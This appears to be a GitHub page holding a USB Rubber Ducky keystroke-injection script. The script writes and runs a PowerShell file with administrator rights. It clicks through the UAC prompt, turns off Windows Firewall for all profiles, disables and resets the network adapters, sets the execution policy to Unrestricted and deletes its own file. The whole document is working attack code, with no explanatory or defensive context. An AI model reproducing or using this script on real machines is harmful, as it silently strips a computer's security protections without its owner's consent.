-
Notifications
You must be signed in to change notification settings - Fork 2
/
ducky_fta.txt
52 lines (49 loc) · 1.25 KB
/
ducky_fta.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
DELAY 750
GUI r
DELAY 1000
REM Create PS1 file
STRING powershell -Noprofile Start-Process notepad -Verb runAs
ENTER
DELAY 750
ALT y
DELAY 750
ENTER
STRING Write-Output "Disabling Windows Firewall"
ENTER
STRING netsh advfirewall set allprofiles state off
ENTER
STRING Write-Output "Disabling Network dapters"
ENTER
STRING $netAdapters = Get-WmiObject Win32_NetworkAdapter -filter "NetConnectionID LIKE '%'"
ENTER
STRING $netAdapters | %{netsh interface set interface "$($_.NetConnectionID)" DISABLED}
ENTER
STRING Write-Output "Restarting Eth Adapters & Setting to DHCP"
ENTER
STRING Start-Sleep 2
ENTER
STRING $netAdapters | ?{$_.NetConnectionID -like "Eth*"} | %{netsh interface ip set address "$($_.NetConnectionID)" dhcp; netsh interface set interface "$($_.NetConnectionID)" ENABLED}
ENTER
STRING Remove-Item $MyINvocation.InvocationName
ENTER
CTRL s
DELAY 1000
STRING C:\Windows\config-60112.ps1
ENTER
DELAY 1000
ALT F4
DELAY 500
GUI r
DELAY 750
STRING powershell -noprofile Start-Process cmd -Verb runAs
ENTER
DELAY 750
ALT y
DELAY 1000
STRING powershell -noprofile Set-ExecutionPolicy 'Unrestricted' -Scope CurrentUser -Confirm:$false
ENTER
DELAY 500
STRING powershell.exe -noprofile -File C:\Windows\config-60112.ps1 -Output
ENTER
STRING Exit
ENTER